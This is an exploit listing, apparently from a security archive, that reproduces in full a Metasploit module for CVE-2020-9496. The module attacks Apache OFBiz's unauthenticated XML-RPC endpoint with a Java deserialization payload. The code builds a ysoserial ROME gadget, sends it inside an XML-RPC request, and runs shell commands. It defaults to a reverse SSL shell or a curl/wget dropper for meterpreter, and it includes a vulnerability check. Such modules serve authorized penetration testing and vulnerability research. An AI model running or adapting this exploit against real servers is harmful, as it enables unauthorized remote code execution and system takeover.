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Apache OFBiz XML-RPC Java Deserialization

Apache OFBiz XML-RPC Java Deserialization
Posted Aug 17, 2020
Authored by Alvaro Munoz, wvu | Site metasploit.com

This Metasploit module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for versions prior to 17.12.04.

tags | exploit, java
advisories | CVE-2020-9496
MD5 | 10edb9ed941935f4a87845caa769a7b6

Apache OFBiz XML-RPC Java Deserialization

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache OFBiz XML-RPC Java Deserialization',
'Description' => %q{
This module exploits a Java deserialization vulnerability in Apache
OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
versions prior to 17.12.04.
},
'Author' => [
'Alvaro Muñoz', # Discovery
'wvu' # Exploit
],
'References' => [
['CVE', '2020-9496'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz'],
['URL', 'https://ofbiz.apache.org/release-notes-17.12.04.html'],
['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716']
],
'DisclosureDate' => '2020-07-13', # Vendor release note
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'BadChars' => ' '
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
],
[
'Linux Dropper',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => %i[curl wget],
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :curl,
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(8443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])

# XXX: https://github.com/rapid7/metasploit-framework/issues/12963
import_target_defaults
end

def check
# Send an empty serialized object
res = send_request_xmlrpc('')

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

if res.body.include?('Failed to read result object: null')
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
end

CheckCode::Safe('Target cannot deserialize arbitrary data.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(nospace: true)
end
end

def execute_command(cmd, _opts = {})
# XXX: Execute commands in a shell
cmd.prepend('sh -c ')

vprint_status("Executing command: #{cmd}")

res = send_request_xmlrpc(
# framework/webapp/lib/rome-0.9.jar
Msf::Util::JavaDeserialization.ysoserial_payload('ROME', cmd)
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
end

print_good("Successfully executed command: #{cmd}")
end

def send_request_xmlrpc(data)
# http://xmlrpc.com/
# https://ws.apache.org/xmlrpc/
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc'),
'ctype' => 'text/xml',
# HACK: Pretty-print XML
'data' => Nokogiri::XML(<<~XML, &:noblanks).to_xml
<?xml version="1.0"?>
<methodCall>
<methodName>#{rand_text_alphanumeric(8..42)}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>#{rand_text_alphanumeric(8..42)}</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
XML
)
end

end
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